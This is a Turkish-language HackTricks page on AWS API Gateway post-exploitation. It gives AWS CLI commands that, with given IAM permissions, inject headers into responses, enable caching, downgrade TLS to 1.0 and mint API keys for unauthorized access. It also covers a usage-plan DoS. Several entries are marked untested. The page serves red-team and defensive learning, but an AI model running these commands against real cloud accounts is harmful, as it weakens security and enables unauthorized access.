AWS - API Gateway Post Exploitation

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'i desteklemenin diğer yolları:

API Gateway

Daha fazla bilgi için kontrol edin:

pageAWS - API Gateway Enum

Erişimi olmayan API'lere Erişim

https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint adresinde com.amazonaws.us-east-1.execute-api hizmeti ile bir uç nokta oluşturabilir, uç noktayı erişiminizin olduğu bir ağda (muhtemelen bir EC2 makinesi aracılığıyla) açabilir ve tüm bağlantılara izin veren bir güvenlik grubu atayabilirsiniz. Ardından, EC2 makinesinden uç noktaya erişebilir ve dolayısıyla daha önce açılmamış olan gateway API'sını çağırabilirsiniz.

Kullanım Planları DoS

Numaralandırma bölümünde anahtarların kullanım planını nasıl alacağınızı görebilirsiniz. Eğer anahtara sahipseniz ve aylık olarak X kullanıma sınırlıysa, sadece kullanarak bir DoS saldırısına neden olabilirsiniz.

API Anahtarı sadece x-api-key adında bir HTTP başlığı içinde yer almalıdır.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

apigateway:UpdateGatewayResponse ve apigateway:CreateDeployment izinlerine sahip bir saldırgan, mevcut bir Gateway Response'u değiştirerek hassas bilgileri sızdıran veya kötü amaçlı betikler çalıştıran özel başlıklar veya yanıt şablonları ekleyebilir.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potansiyel Etki: Hassas bilgilerin sızdırılması, kötü amaçlı betiklerin yürütülmesi veya API kaynaklarına izinsiz erişim.

Test edilmesi gerekmektedir

apigateway:UpdateStage, apigateway:CreateDeployment

apigateway:UpdateStage ve apigateway:CreateDeployment izinlerine sahip bir saldırgan, mevcut bir API Gateway aşamasını değiştirerek trafiği farklı bir aşamaya yönlendirebilir veya önbellek ayarlarını değiştirerek önbelleğe alınmış verilere izinsiz erişim sağlayabilir.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potansiyel Etki: Ön belleğe alınmış verilere izinsiz erişim, API trafiğini bozmak veya onu ele geçirmek.

Test edilmesi gerekmektedir

apigateway:PutMethodResponse, apigateway:CreateDeployment

apigateway:PutMethodResponse ve apigateway:CreateDeployment izinlerine sahip bir saldırgan, mevcut bir API Gateway REST API yönteminin yöntem yanıtını değiştirerek hassas bilgiler sızdıran veya kötü amaçlı betikler çalıştıran özel başlıklar veya yanıt şablonları ekleyebilir.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potansiyel Etki: Hassas bilgilerin sızdırılması, kötü amaçlı komut dosyalarının yürütülmesi veya API kaynaklarına izinsiz erişim.

Test edilmesi gerekiyor

apigateway:UpdateRestApi, apigateway:CreateDeployment

apigateway:UpdateRestApi ve apigateway:CreateDeployment izinlerine sahip bir saldırgan, API Gateway REST API ayarlarını değiştirerek günlüğü devre dışı bırakabilir veya minimum TLS sürümünü değiştirerek API'nin güvenliğini zayıflatabilir.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potansiyel Etki: API'nin güvenliğini zayıflatma, yetkisiz erişime izin verme veya hassas bilgilerin ortaya çıkmasına neden olma potansiyeli.

Test edilmesi gerekiyor

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

İzinlere sahip bir saldırgan, apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan ve apigateway:CreateUsagePlanKey ile yeni API anahtarları oluşturabilir, bunları kullanım planlarıyla ilişkilendirebilir ve ardından bu anahtarları yetkisiz API erişimi için kullanabilir.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Potansiyel Etki: API kaynaklarına izinsiz erişim, güvenlik kontrollerini atlatma.

Test yapılması gerekmektedir

Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated